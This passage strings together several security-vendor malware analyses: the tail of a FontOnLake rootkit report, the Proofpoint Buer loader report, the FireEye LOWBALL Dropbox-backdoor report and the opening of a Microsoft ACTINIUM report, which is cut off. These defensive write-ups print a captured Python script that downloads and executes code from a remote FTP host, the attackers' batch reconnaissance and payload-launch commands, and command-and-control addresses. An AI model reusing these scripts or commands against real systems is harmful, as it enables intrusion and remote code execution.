hooks to hide its network connections. The first one is a hook of the `write()` system call – it checks whether the name of the calling process is `ss` (a tool for socket investigation) and trims lines containing its C&Cs or non-standard ports. Note that this functionality was not present in one of the samples. The second one is a hook of the `tcp4_seq_show` seq_operation from `/proc/net/tcp`. The hook calls the original `tcp4_seq_show` and subsequently discards entries containing its non-standard ports. **Port Forwarding** The rootkit registers the `NF_INET_PRE_ROUTING` hook using the `nf_register_hook()` method. The hook checks whether the protocol in the IP header of the received packet is `IPPROTO_TCP` or `IPPROTO_ICMP`. The former is used for port forwarding and latter for magic packets. **Magic Packets** One further check is conducted in the `IPPROTO_ICMP` hook. If the ICMP code is `ICMP_ECHO`, the size of the IP packet is 0x28, and the first 4 bytes of the ICMP data are 0xFFFFAB08, it downloads a file into a random file (following the aforementioned `/tmp/.tmp_<random>` pattern) and executes it. It is downloaded from the supplied IP and port, parsed from the rest of the ICMP payload, over TCP/IPv4 in format `<size_of_file><file><file_crc-32>`. The file is executed in user-mode, its command line is set to `[kthread]` and its environment variables to `PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin`. Note that this functionality was present only in older samples and we could not find such internet-facing victims with internet scans, which indicates that it could have been completely dropped. **Version 2** The second version supports several new commands and implements certain features in a different way. Some functionality has been dropped: for example, the magic ICMP packets are not supported anymore. It also assists the backdoor in its update mechanism and hides all on-disk files following its filename format. ### Conclusion We have found and described a set of malicious and at the time of discovery unknown tools which do not seem to belong to any recognized malware family. Their scale and advanced design suggest that the authors are well versed in cybersecurity and that these tools might be reused in future campaigns. As most of the features are designed just to hide its presence, relay communication, and provide backdoor access, we believe that these tools are used mostly to maintain an infrastructure which serves some other, unknown, malicious purposes. ### IoCs **Samples** | SHA-1 | Description | Detection Name | |-----------------------------------------------------------------------|----------------------|---------------------| | 1F52DB8E3FC3040C017928F5FFD99D9FA4757BF8 | Trojanized cat | | | 771340752985DD8E84CF3843C9843EF7A76A39E7 | Trojanized kill | | | 27E868C0505144F0708170DF701D7C1AE8E1FAEA | Trojanized sftp | | | 45E94ABEDAD8C0044A43FF6D72A5C44C6ABD9378 | Trojanized sshd | | | 1829B0E34807765F2B254EA5514D7BB587AECA3F | Custom sshd | | | 8D6ACA824D1A717AE908669E356E2D4BB6F857B0 | Custom sshd | | | 38B09D690FAFE81E964CBD45EC7CF20DCB296B4D | Backdoor 1 | | | 56556A53741111C04853A5E84744807EEADFF63A | Backdoor 1 | | | FE26CB98AA1416A8B1F6CED4AC1B5400517257B2 | Backdoor 1 | | | D4E0E38EC69CBB71475D8A22EDB428C3E955A5EA | Backdoor 1 | | | 204046B3279B487863738DDB17CBB6718AF2A83A | Backdoor 2 | | | 9C803D1E39F335F213F367A84D3DF6150E5FE172 | Backdoor 2 | | | BFCC4E6628B63C92BC46219937EA7582EA6FBB41 | Backdoor 2 | Linux/FontOnLake | | 515CFB5CB760D3A1DA31E9F906EA7F84F17C5136 | Backdoor 3 | | | A9ED0837E3AF698906B229CA28B988010BCD5DC1 | Backdoor 3 | | | 56CB85675FE7A7896F0AA5365FF391AC376D9953 | Rootkit version 1 | | | 72C9C5CE50A38D0A2B9CEF6ADEAB1008BFF12496 | Rootkit version 1 | | | B439A503D68AD7164E0F32B03243A593312040F8 | Rootkit version 1 | | | E7BF0A35C2CD79A658615E312D35BBCFF9782672 | Rootkit version 1 | | | 56580E7BA6BF26D878C538985A6DC62CA094CD04 | Rootkit version 1 | | | 49D4E5FCD3A3018A88F329AE47EF4C87C6A2D27A | Rootkit version 1 | | | 74D44C2949DA7D5164ADEC78801733680DA8C110 | Rootkit version 2 | | | 74D755E8566340A752B1DB603EF468253ADAB6BD | Rootkit version 2 | | | E20F87497023E3454B5B1A22FE6C5A5501EAE2CB | Rootkit version 2 | | | 6F43C598CD9E63F550FF4E6EF51500E47D0211F3 | inject.so | | **C&Cs** From samples: - 47.107.60.212 - 47.112.197.119 - 156.238.111.174 - 172.96.231.69 - hm2.yrnykx.com - ywbgrcrupasdiqxknwgceatlnbvmezti.com - yhgrffndvzbtoilmundkmvbaxrjtqsew.com - wcmbqxzeuopnvyfmhkstaretfciywdrl.name - ruciplbrxwjscyhtapvlfskoqqgnxevw.name - pdjwebrfgdyzljmwtxcoyomapxtzchvn.com - nfcomizsdseqiomzqrxwvtprxbljkpgd.name - hkxpqdtgsucylodaejmzmtnkpfvojabe.com - etzndtcvqvyxajpcgwkzsoweaubilflh.name - esnoptdkkiirzewlpgmccbwuynvxjumf.name - ekubhtlgnjndrmjbsqitdvvewcgzpacy.name From internet-wide scan: - 27.102.130.63 **Filenames** - /lib/modules/<VARIABLE>/kernel/drivers/input/misc/ati_remote3.ko - /etc/sysconfig/modules/ati_remote3.modules - /tmp/.tmp_<RANDOM> **Virtual Filenames** - /proc/.dot3 - /proc/.inl ### MITRE ATT&CK Techniques | Tactic | ID | Name | Description | |----------------------|-------------|----------------------------------------------------------------------|--------------------------------------------------------------------------------------------------| | Initial Access | T1078 | Valid Accounts | FontOnLake can collect at least SSH credentials | | | T1059.004 | Command and Scripting Interpreter: Unix Shell | FontOnLake enables execution of Unix shell commands | | | T1059.006 | Command and Scripting Interpreter: Python | FontOnLake enables execution of arbitrary Python scripts | | Execution | T1106 | Native API | FontOnLake uses fork() to create additional processes such as `sshd` | | | T1204 | User Execution | FontOnLake trojanizes standard tools such as cat to execute itself | | | T1547.006 | Boot or Logon Autostart Execution: Kernel Modules and Extensions | One of FontOnLake’s rootkits can be executed with a startup script | | Persistence | T1037 | Boot or Logon Initialization Scripts | FontOnLake creates a system startup script `ati_remote3.modules` | | | T1554 | Compromise Client Software Binary | FontOnLake modifies several standard binaries to achieve persistence | | | T1140 | Deobfuscate/Decode Files or Information | Some FontOnLake backdoors use AES to decrypt encrypted and serialized communication and base64 decode encrypted C&C address | | | T1222.002 | Modification: Linux and Mac File and Directory Permissions Modification | FontOnLake’s backdoor can change the permissions of the file it wants to execute | | | T1564 | Hide Artifacts | FontOnLake hides its connections and processes with rootkits | | Defense Evasion | T1564.001 | Hide Artifacts: Hidden Files and Directories | FontOnLake hides its files with rootkits | | | T1027 | Obfuscated Files or Information | Many FontOnLake executables are packed with UPX | | | T1014 | Rootkit | FontOnLake uses rootkits to hide the presence of its processes, files, network connections, and drivers | | Credential Access | T1556 | Modify Authentication Process | FontOnLake modifies `sshd` to collect credentials | | | T1083 | File and Directory Discovery | One of FontOnLake’s backdoors can list files and directories | | Discovery | T1082 | System Information Discovery | FontOnLake can collect system information from the victim’s machine | | Lateral Movement | T1021.004 | Remote Services: SSH | FontOnLake collects SSH credentials and probably intends to use them for lateral movement | | | T1090 | Proxy | FontOnLake can serve as a proxy | | | T1071.001 | Application Layer Protocol: Web Protocols | FontOnLake acquires additional C&C over HTTP | | | T1071.002 | Application Layer Protocol: File Transfer Protocols | FontOnLake can download additional Python files over FTP | | | T1132.001 | Data Encoding: Standard Encoding | FontOnLake uses base64 to encode HTTPS responses | | | T1568 | Dynamic Resolution | FontOnLake can use dynamic DNS resolution to construct and resolve a randomly chosen domain | | Command and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | FontOnLake uses AES to encrypt communication with C&C | | | T1008 | Fallback Channels | FontOnLake can use dynamic DNS resolution to construct and resolve a randomly chosen domain | | | T1095 | Non-Application Layer Protocol | FontOnLake uses TCP for communication with C&C | | | T1571 | Non-Standard Port | FontOnLake uses a unique, non-standard port for almost all samples | | Exfiltration | T1041 | Exfiltration Over C2 Channel | FontOnLake uses its C&C to exfiltrate collected data | ### Appendix 1 **Hardcoded sshd config:** ``` Port 26657 ListenAddress 127.0.0.1 Protocol 2 LogLevel QUIET SyslogFacility AUTHPRIV IgnoreUserKnownHosts yes PasswordAuthentication yes AcceptEnv XMODIFIERS X11Forwarding yes TCPKeepAlive yes PermitRootLogin yes HostKey /tmp/.ssh/ssh_host_rsa_key ``` ### Appendix 2 **Protobuf structure used for Backdoor 2’s commands** | ID | Name | Field Name | Brief Notes | |----|---------------------|------------|------------------------------------------------------------------------------| | 0 | Init | key | Encryption key cipher_pass | | 2 | Tick | | Was not used explicitly – probably heartbeat, since it has similar name and is not used anywhere else | | 4 | Show_Msg | message | Not used | | | | src_uid | Source UID | | | | dest_uid | Destination UID | | 5 | Forward_Data | cmd | cmd being forwarded | | | | data | ID of the command to be forwarded | | 7 | CommonCommand | name | | | | | value | | | | | version | | | 8 | SystemVersion | system | | | 9 | Session_Connect | uid | Not used explicitly – order of the commands suggests that it might be 9 | | 10 | Session_DisConnect | uid | | | | | files | Array of List_Info | | 11 | List_Dir | dir | | | | | name | | | | | modify_date| | | | | Isdir | | | | | size | | | | | executable | | | | | readonly | | | | | writeable | | | 23 | Fwd_Beg | message | Error message | | | | id | Session ID | | 24 | Fwd_Ing | data | Data to be forwarded | | | | code | Error code | | 25 | Fwd_End | message | Error message | | | | id | Session ID | | 26 | RequestVersion | app_type | String backdoor_<os_name> | | | | ver | Latest backdoor version | | 27 | ResponseVersion | size | Size of the latest backdoor version | | | | app_type | Not used | | | | off | Position in the update file | | 28 | RequestUpdateDownload| size | Either 0x8000 or remaining size of the update file | | | | app_type | String backdoor_<os_name> | | | | off | Position in the update file | | 29 | ResponseUpdateDownload| data | Data to be written to the file | | | | app_type | String backdoor_<os_name> | | | | desc | Not used | ### Appendix 3 **Python script to download and execute a file:** ```python import ftplib, tempfile, os, sys os.unlink(__file__) ftp = ftplib.FTP() ftp.connect(sys.argv[1], int(sys.argv[2])) ftp.login('vsftp', 'winter1qa2ws') tmp_file = tempfile.mktemp(prefix='.tmp_') fp = open(tmp_file, 'wb') ftp.retrbinary('RETR tasks/{0}.py'.format(sys.argv[3]), fp.write, 1024) fp.close() ftp.quit() execfile(tmp_file) ```
# Buer, a New Loader Emerges in the Underground Marketplace **December 04, 2019** Kelsey Merriman | Dennis Schwarz | Kafeine | Axel F | Proofpoint Threat Insight Team For several years, Proofpoint researchers have been tracking the use of first-stage downloaders, which are used by threat actors to install other forms of malware during and after their malicious email campaigns. In particular, over the last two years, these downloaders have become increasingly robust, providing advanced profiling and targeting capabilities. More importantly, downloaders and other malware like botnets and banking Trojans have displaced ransomware as primary payloads, giving threat actors the flexibility to deploy a range of malware in secondary infections. For example, one of the most prevalent, Smoke Loader, has been used extensively to drop payloads such as Ursnif and The Trick banking Trojans, as well as using its own modules for credential and other information and data-stealing, among other malicious functions. Since late August 2019, Proofpoint researchers have been tracking the development and sale of a new modular loader named Buer by its authors. Buer has features that are highly competitive with Smoke Loader, is being actively sold in prominent underground marketplaces, and is intended for use by actors seeking a turn-key, off-the-shelf solution. ## Campaigns ### August 28, 2019 On August 28, Proofpoint researchers observed malicious email messages that appear to reply to earlier legitimate email conversations. They contained Microsoft Word attachments that use Microsoft Office macros to download the next stage payload. The dropped payload was named verinstere222.xls or verinstere33.exe (a naming convention that the actor used during that period). Instead of the Dreambot variant of Ursnif frequently associated with this actor, the payload was an undocumented loader not previously observed in the wild. In the following weeks over September and October, Proofpoint researchers and other members of the infosec community observed several campaigns from the same actor dropping either the Dreambot variant of Ursnif or this new loader. ### October 10, 2019 On October 10, Proofpoint researchers observed a malvertising campaign in Australia redirecting to the Fallout Exploit Kit (EK) dropping the new loader. The loader then dropped several second-stage malware payloads including KPOT stealer, Amadey, and Smoke Loader. ### October 21, 2019 Since the beginning of July, Proofpoint researchers observed approximately 100 campaigns involving Ostap almost exclusively loading several instances of The Trick. On the 21, however, Proofpoint researchers observed malicious email messages with subject lines such as “Penalty Notice # PKJWVBP” containing Microsoft Word attachments. The documents contained macros that, if enabled, would execute Ostap. We observed Ostap downloading this loader from a specific URL which in turn loaded The Trick from its C&C. ## Marketplace & Feature Analysis Because we began observing this new loader in use in multiple, distinct campaigns, we expected that it was being sold in an underground marketplace to multiple actors. Moreover, we discovered an advertisement from August 16 on an underground forum describing a loader named “Buer” that matched the functionality of the malware observed in the above campaigns. The features added and advertised in the following weeks match exactly with the evolution of the loader found in these campaigns. We retrieved text from a bulletin board posting by the author, in Russian, requesting a payment of $400 for the malware, and offering their services to set up the software for prospective customers in order to get it up and running. The author also notes that updates and bug fixes are free of charge, but there is a $25 surcharge for “rebuilding to new addresses.” The following text, which Proofpoint also extracted from the underground marketplace, and is presumed to be written by the author of the malware, is a summary of the functionality of the loader as described in the original Russian: Similarly, the advertisement also lists control panel functionality. The author notes that the modular bot is written entirely in C, using a control panel written in .NET Core, emphasizing higher performance in both the client and server due to the choice of programming language. As per the description, the bot has a total payload of 55 to 60 kilobytes, functions as a native Windows executable and dynamic link library, runs entirely in resident memory, and is compatible with 32-bit and 64-bit Microsoft Windows operating systems. The bot communicates over an HTTPS connection and can be updated remotely from the control panel after the decrypt as well as the rebuild. The author also notes that the loader runs as a surrogate process of a trusted application and functions using User level privileges. Most notably, the software will not run in the CIS (former Soviet states, such as Russia). The ad describes the following features for the server and control panel: - The control panel is advertised as also being written in .NET Core, noting easy installation on Ubuntu / Debian Linux server systems. - The server provides a wide range of statistics, including counters for online, living, dead, and total bots; a real-time update for the list of bots; a file download counter; and an ability to filter systems by type of operating system, access rights of installed bots, and number of logical CPU cores. - Downloaded files from the infected systems are stored in encrypted form on the server, with access granted by a token. - Most importantly, like the bots themselves, the author notes that the server does not process API requests sent from within CIS-member countries. The forum post also included technical release notes for the Buer loader and control panel (version 1.1.2). In the introduction, the author noted that launching the loader now consists of three steps -- if the first two steps are unsuccessful on the infected system, and the injection into the surrogate process fails (for example, due to incompatibility with the crypt itself), the loader will execute under its own process instead. The release notes call out the following for the loader: - The loader uses a FastFlux architecture. - The loader works from under a trusted process within Microsoft Windows. The MemLoadEx process now supports x64 .exe as a trusted application. - MemLoad has been updated and now supports native x32 .exe. The release notes call out the following features for the control panel: - API access is accomplished using HTTPS with support for self-signed certificates. - Support for editing tasks in the panel. The user can stop the task during execution and change the payload and the number of executions. - Added the ability to create a task by bot ID. Very suitable for point loads. - A step-by-step window for creating tasks. - A notification that allows you to learn about the necessary bots online. - The uniqueness of the bot ID has been increased. - Tags have been added to the panel, allowing sorting bots for subsequent actions with them. - Displays the computer name in the table. - Improved crypto compatibility. - Added bot history. - “The panel now expands to Docker” (Docker container support). **Proofpoint Researcher Note:** We presume this feature is for ease of integration into leased Docker hosts, simplifying installation, although potentially the panel/C&C could be installed on a compromised Docker host. - Validation on the file on the panel. Now the panel will not miss the file that the loader will not be able to download and will notify the client about this. - Tasks can now be repeated. Finally, the author described the following technical changes for version 1.1.9. These are noteworthy as they demonstrate that the malware is under active, professional development. - The loader has acquired a new method for launching External for local files. The advantages of the method are uniqueness and no CreateProcess / ShellExecute through the loader. The launch produces a trusted process without any commands to it. - The panel has the ability to tag all bots that have performed a specific task. This will allow the user to distribute the payload to certain groups of bots. - Implemented integration API. Available documentation for it. - Added the ability to send a file by reference in proxy mode. The file is transferred to the bot in encrypted form. - The bug of counting bots by country has been fixed and other improvements have been added. ## Control Panel Screenshots The following control panel screenshots were included in the underground advertisement, showing some of the back end capabilities available to customers, including telemetry monitoring, host filtering, and more. ## Malware Analysis Buer Loader is a new downloader malware that downloads and executes additional payloads. ### Anti-analysis features The loader contains some basic anti-analysis functionality: - Checks for debuggers by inspecting the NtGlobalFlag in the Process Environment Block (PEB) and Thread Environment Block (TEB). - Checks for virtual machines using the Red Pill and related mechanisms. - Checks locale to make sure the malware is not running in specific countries. ### Persistence Persistence is set up by configuring a Registry RunOnce entry. Depending on the version, the registry entry will execute the malware directly or schedule a task to execute it. ### Encrypted Strings This sample contains a function to encrypt strings. ### Windows API Calls This sample uses a hashing algorithm to resolve most of its Windows API calls. The hashing algorithm ensures each character of the API name is a capital letter. It then rotates right (ROR) each character by 13 and adds them together. The following table contains a list of some selected hashes used and their corresponding Windows API name: | API Name | Hash | |---------------------|---------------| | CreateMutexW | 0xed619452 | | OpenMutexW | 0x7bffe25e | | CreateProcessW | 0xb4f0f46f | | WinHttpOpen | 0xaf7f658e | | WinHttpCrackUrl | 0x8ef04f02 | | WinHttpConnect | 0x9f47a05e | | WinHttpOpenRequest | 0x1dd1d38d | ### Command and Control Command and control (C&C) functions are handled via HTTP(S) GET requests. An example command beacon looks like: These requests go to the “update API” and contain an encrypted parameter. This parameter can be decrypted by: 1. Base64 decoding 2. Hex decoding 3. RC4 decryption (the key used in the analyzed samples was “CRYPTO_KEY”) An example of the plaintext parameter is: ``` 88a5e68a2047fa5ebdc095a8500d8fae565a6b225ce94956e194b4a0e8a515ae|ab21d61b35a8d1dc4ffb3cc4b75094c31b8c00de3ffaaa17ce1ad7|x64|4|Admin|RFEZOWGZPBYYOI ``` It contains pipe-delimited data consisting of: - Bot ID (SHA-256 hex digest of various system parameters such as hardware profile GUID and name, computer name, volume serial number, and CPUID) - An SHA-256 hash of its own executable image - Windows version - Architecture type - Number of processors - User privileges - Computer name An example command beacon response is shown below: It can be decrypted similarly to the request parameter above, except that the hex-encoded bytes are separated by dash characters. An example plaintext response is shown below: The decrypted text is a JSON object containing various options on how to download and execute a payload: - type - there are two types: - update - update self - download_and_exec - download and execute - options - specifies options for the payload to download: - Hash - only applicable to “update” type to determine whether a new update is available - x64 - whether the payload is 64-bit - FileType - not used in analyzed samples - AssemblyType - not used in analyzed samples - AccessToken - used to download the payload - External - indicates whether the payload is downloaded from the C&C or an external URL - method - method of execution: - exelocal - create process - memload - inject and manually load payload - memloadex - inject and manually load payload - loaddllmem - inject and manually load payload - parameters - parameters to pass on the command line - pathToDrop - not used in analyzed samples - autorun - indicates whether to setup Registry RunOnce persistence for the payload - modules - see Modules section below - timeout - not used in analyzed samples Payloads downloaded from the C&C server are done via requests to the “download API” as seen in the example below: An example of the plaintext request parameter is shown below: ``` 88a5e68a2047fa5ebdc095a8500d8fae565a6b225ce94956e194b4a0e8a515ae|58007044-67d4-4963-9f5f-400dfbc69e74 ``` It contains the bot’s ID and “AccessToken” from the command beacon response. If the payload is downloaded from the C&C, it is encrypted with RC4. In the analyzed samples the key was “CRYPTO_KEY”. ### Modules The command beacon response contains a “modules” list. Proofpoint researchers have not observed Buer modules being used in the wild yet, but based on the code this list will contain module AccessTokens. The module file name is queried by sending an AccessToken to the “module API” of the C&C. The module will then be downloaded using the “downloadmodule API”. Once downloaded and decrypted, it is loaded using the “loaddllmem” method. ## Conclusion A new downloader, Buer, has appeared recently in a variety of campaigns, via malvertising leading to exploit kits; as a secondary payload via Ostap; and as a primary payload downloading malware such as The Trick banking Trojan. The new loader has robust geotargeting, system profiling, and anti-analysis features and is currently being marketed on underground forums with value-added setup services. The Russian-speaking author(s) is actively developing the downloader with sophisticated control panels and a rich feature set, making the malware competitive in underground markets. The downloader is written in C while the control panel is written in .NET core, indicating optimization for performance and small download footprint, as well as the ability to easily install the control panel on Linux servers -- built-in support for Docker containers will further facilitate its proliferation on rented hosts used for malicious purposes, and potentially, compromised hosts as well. The latter capability is included in its advertised features and release notes. ## Indicators of Compromise (IOCs) | IOC | IOC Type | Description | |-------------------------------------------------------------------------------------------|----------|---------------------------------| | fa699eab565f613df563ce47de5b82bde16d69c5d0c05ec9fc7f8d86ad7682ce | sha256 | 2019-08-28 | | http://45.76.247.177:8080/api/update/ | URL | Buer C&C callback | | 6c694df8bde06ffebb8a259bebbae8d123effd58c9dd86564f7f70307443ccd0 | sha256 | 2019-09-03 | | 197163b6eb2114f3b565391f43b44fb8d61531a23758e35b11ef0dc44d349e90 | sha256 | 2019-09-24 | | https://173.212.204.171/api/update/ | URL | Buer C&C callback | | 9e8db7a722cc2fa13101a306343039e8783df66f4d1ba83ed6e1fe13eebaec73 | sha256 | 2019-10-16 (Fallout Drop) | | http://134.0.119.53:8080/api/update/ | URL | Buer C&C callback | | ab21d61b35a8d1dc4ffb3cc4b75094c31b8c00de3ffaaa17ce1ad15e876dbd1f | sha256 | 2019-10-21 (Ostap drop) | | https://garrisontx.us/api/update/ | URL | Buer C&C callback | | https://185.130.104.187/nana/kum.php?pi=18b | URL | Ostap instance dropping Buer - 2019-10-21 | | 753276c5887ba5cb818360e797b94d1306069c6871b61f60ecc0d31c78c6d31e | sha256 | Buer 2019-11-28 | | ffload01.top|185.125.58.11 | domain|IP | Buer C&C 2019-11-28 | | ffload01.top|185.186.141.129 | | | ## ET and ETPRO Suricata/Snort Signatures - 2029077 || ET TROJAN Buer Loader Update Request - 2029079 || ET TROJAN Buer Loader Response - 2029078 || ET TROJAN Buer Loader Download Request - 2839684 || ET TROJAN Buer Loader Successful Payload Download - 2029080 || SSL/TLS Certificate Observed (Buer Loader)
# China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets **Threat Research** **FireEye Threat Intelligence** **Dec 01, 2015** **8 mins read** FireEye Threat Intelligence analysts identified a spear phishing campaign carried out in August 2015 targeting Hong Kong-based media organizations. A China-based cyber threat group, which FireEye tracks as an uncategorized advanced persistent threat (APT) group and other researchers refer to as “admin@338,” may have conducted the activity. The email messages contained malicious documents with a malware payload called LOWBALL. LOWBALL abuses the Dropbox cloud storage service for command and control (CnC). We collaborated with Dropbox to investigate the threat, and our cooperation revealed what may be a second, similar operation. The attack is part of a trend where threat groups hide malicious activity by communicating with legitimate web services such as social networking and cloud storage sites to foil detection efforts. ## A Cyber Campaign Likely Intended to Monitor Hong Kong Media During a Period of Crisis The threat group has previously used newsworthy events as lures to deliver malware. They have largely targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as Poison Ivy, as well as some non-public backdoors. The group started targeting Hong Kong media companies, probably in response to political and economic challenges in Hong Kong and China. The threat group’s latest activity coincided with the announcement of criminal charges against democracy activists. During the past 12 months, Chinese authorities have faced several challenges, including large-scale protests in Hong Kong in late 2014, the precipitous decline in the stock market in mid-2015, and the massive industrial explosion in Tianjin in August 2015. In Hong Kong, the pro-democracy movement persists, and the government recently denied a professor a post because of his links to a pro-democracy leader. Multiple China-based cyber threat groups have targeted international media organizations in the past. The targeting has often focused on Hong Kong-based media, particularly those that publish pro-democracy material. The media organizations targeted with the threat group’s well-crafted Chinese language lure documents are precisely those whose networks Beijing would seek to monitor. Cyber threat groups’ access to the media organization’s networks could potentially provide the government advance warning on upcoming protests, information on pro-democracy group leaders, and insights needed to disrupt activity on the Internet, such as what occurred in mid-2014 when several websites were brought down in denial of service attacks. ## Threat Actors Use Spear Phishing Written in Traditional Chinese Script in Attempted Intrusions In August 2015, the threat actors sent spear phishing emails to a number of Hong Kong-based media organizations, including newspapers, radio, and television. The first email references the creation of a Christian civil society organization to coincide with the anniversary of the 2014 protests in Hong Kong known as the Umbrella Movement. The second email references a Hong Kong University alumni organization that fears votes in a referendum to appoint a Vice-Chancellor will be co-opted by pro-Beijing interests. The group’s previous activities against financial and policy organizations have largely focused on spear phishing emails written in English, destined for Western audiences. This campaign, however, is clearly designed for those who read the traditional Chinese script commonly used in Hong Kong. ## LOWBALL Malware Analysis The spear phishing emails contained three attachments in total, each of which exploited an older vulnerability in Microsoft Office (CVE-2012-0158): - **MD5**: b9208a5b0504cb2283b1144fc455eaaa **Filename**: 使命公民運動 我們的異象.doc - **MD5**: ec19ed7cddf92984906325da59f75351 **Filename**: 新聞稿及公佈.doc - **MD5**: 6495b384748188188d09e9d5a0c401a4 **Filename**: (代發)[采訪通知]港大校友關注組遞信行動.doc In all three cases, the payload was the same: - **MD5**: d76261ba3b624933a6ebb5dd73758db4 **Filename**: time.exe This backdoor, known as LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server. It uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files. The communication occurs via HTTPS over port 443. After execution, the malware will use the Dropbox API to make an HTTP GET request using HTTPS over TCP port 443 for the files: - **MD5**: d76261ba3b624933a6ebb5dd73758db4 **Filename**: WmiApCom - **MD5**: 79b68cdd0044edd4fbf8067b22878644 **Filename**: WmiApCom.bat The “WmiApCom.bat” file is simply used to start “WmiApCom,” which happens to be the exact same file as the one dropped by the malicious Word documents. However, this is most likely meant to be a mechanism to update the compromised host with a new version of the LOWBALL malware. The threat group monitors its Dropbox account for responses from compromised computers. Once the LOWBALL malware calls back to the Dropbox account, the attackers will create a file called “[COMPUTER_NAME]_upload.bat” which contains commands to be executed on the compromised computer. This batch file is then executed on the target computer, with the results uploaded to the attackers’ Dropbox account in a file named “[COMPUTER_NAME]_download”. We observed the threat group issue the following commands: ``` @echo off dir c:\ >> %temp%\download ipconfig /all >> %temp%\download net user >> %temp%\download net user /domain >> %temp%\download ver >> %temp%\download del %0 @echo off dir "c:\Documents and Settings" >> %temp%\download dir "c:\Program Files\" >> %temp%\download net start >> %temp%\download net localgroup administrator >> %temp%\download netstat -ano >> %temp%\download ``` These commands allow the threat group to gain information about the compromised computer and the network to which it belongs. Using this information, they can decide to explore further or instruct the compromised computer to download additional malware. We observed the threat group upload a second stage malware, known as BUBBLEWRAP (also known as Backdoor.APT.FakeWinHTTPHelper) to their Dropbox account along with the following command: ``` @echo off ren "%temp%\upload" audiodg.exe start %temp%\audiodg.exe dir d:\ >> %temp%\download systeminfo >> %temp%\download del %0 ``` We have previously observed the admin@338 group use BUBBLEWRAP. This particular sample connected to the CnC domain accounts.serveftp.com, which resolved to an IP address previously used by the threat group, although the IP had not been used for some time prior to this most recent activity: - **MD5**: 0beb957923df2c885d29a9c1743dd94b **Domain**: accounts.serveftp.com **IP**: 59.188.0.197 BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots and can communicate using HTTP, HTTPS, or a SOCKS proxy. This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities. ## A Second Operation FireEye works closely with security researchers and industry partners to mitigate cyber threats, and we collaborated with Dropbox to respond to this activity. The Dropbox security team was able to identify this abuse and put countermeasures in place. Our cooperation uncovered what appears to be a second, ongoing operation, though we lack sufficient evidence to verify if admin@338 is behind it. The attack lifecycle followed the same pattern, though some of the filenames were different, which indicates that there may be multiple versions of the malware. In addition, while the operation targeting Hong Kong-based media involved a smaller number of targets and a limited duration, we suspect this second operation involves up to 50 targets. At this time, we are unable to identify the victims. In this case, after the payload is delivered via an exploit, the threat actor places files (named upload.bat, upload.rar, and period.txt, download.txt or silent.txt) in a directory on a Dropbox account. The malware beacons to this directory using the hardcoded API token and attempts to download these files (which are deleted from the Dropbox account after the download): - **upload.bat**: a batch script that the compromised machine will execute - **upload.rar**: a RAR archive that contains at least two files: a batch script to execute, and often an executable (sometimes named rar.exe) which the batch script will run and almost always uploads the results of download.rar to the cloud storage account - **silent.txt and period.txt**: small files sizes of 0-4 bytes that dictate the frequency to check in with the CnC The threat actor will then download the results and then delete the files from the cloud storage account. ## Conclusion LOWBALL is an example of malware that abuses cloud storage services to mask its activity from network defenders. The LOWBALL first stage malware allows the group to collect information from victims and then deliver the BUBBLEWRAP second stage malware to their victims after verifying that they are indeed interesting targets.
# ACTINIUM Targets Ukrainian Organizations The Microsoft Threat Intelligence Center (MSTIC) is sharing information on a threat group named ACTINIUM, which has been operational for almost a decade and has consistently pursued access to organizations in Ukraine or entities related to Ukrainian affairs. MSTIC previously tracked ACTINIUM activity as DEV-0157, and this group is also referred to publicly as Gamaredon. In the last six months, MSTIC has observed ACTINIUM targeting organizations in Ukraine spanning government, military, non-government organizations (NGO), judiciary, law enforcement, and non-profit, with the primary intent of exfiltrating sensitive information, maintaining access, and using acquired access to move laterally into related organizations. MSTIC has observed ACTINIUM operating out of Crimea with objectives consistent with cyber espionage. The Ukrainian government has publicly attributed this group to the Russian Federal Security Service (FSB). Since October 2021, ACTINIUM has targeted or compromised accounts at organizations critical to emergency response and ensuring the security of Ukrainian territory, as well as organizations that would be involved in coordinating the distribution of international and humanitarian aid to Ukraine in a crisis. Microsoft directly notifies customers of online services that have been targeted or compromised, providing them with the information they need to secure their accounts. Microsoft has shared this information with Ukrainian authorities. ACTINIUM represents a unique set of activities separate from the destructive malware attacks by DEV-0586 described in an earlier blog post. As of this writing, MSTIC has not found any indicators correlating these two actors or their operations. The observed ACTINIUM activities detailed in this blog have been limited only to organizations within Ukraine. We have not seen this actor using any unpatched vulnerabilities in Microsoft products or services. Given the geopolitical situation and the scale of observed activity, MSTIC is prioritizing sharing our knowledge of ACTINIUM tactics, techniques, and procedures (TTPs), along with a significant number of indicators of compromise (IOCs) from our extensive analysis. Our goal is to give organizations the latest intelligence to guide investigations into potential attacks and information to implement proactive protections against future attempts. ## Activity Description Microsoft has observed a repeated set of techniques and procedures throughout operations by ACTINIUM, with several significant elements that we believe are important to understanding these activities. It’s important to note that ACTINIUM’s tactics are constantly evolving; the activities described in this blog are some of the most consistent and notable observations by Microsoft, but these are not all-encompassing of actor TTPs. ### Phishing Using Remote Templates One of the access vectors most used by ACTINIUM is spear-phishing emails with malicious macro attachments that employ remote templates. Remote template injection refers to the method of causing a document to load a remote document template that contains the malicious code, in this case, macros. Delivery using remote template injection ensures that malicious content is only loaded when required (for example, when the user opens the document). This helps attackers to evade static detections, for example, by systems that scan attachments for malicious content. Having the malicious macro hosted remotely also allows an attacker to control when and how the malicious component is delivered, further evading detection by preventing automated systems from obtaining and analyzing the malicious component. MSTIC has observed a range of email phishing lures used by ACTINIUM, including those that impersonate and masquerade as legitimate organizations, using benign attachments to establish trust and familiarity with the target. Within the body of phishing messages, ACTINIUM has been observed to insert web bugs, which are small external image references that enable the actor to track when a message has been opened and rendered. These web bugs are not malicious by themselves but may indicate that the email is intended for malicious use. ACTINIUM’s lure documents appear to be legitimate and vary in style and content. For example, the lure document included a remote template at a specific URL. This URL and the related lure document from ACTINIUM is responsible for loading the malicious remote template. This document uses text from a legitimate situational COVID-19 update report published on July 27, 2021. ACTINIUM phishing attachments contain a first-stage payload that downloads and executes further payloads. There may be multiple subsequent “staging” scripts before a more fully-featured malicious capability is deployed to a compromised device. It’s unclear why there are often multiple stages; one hypothesis is that these staging 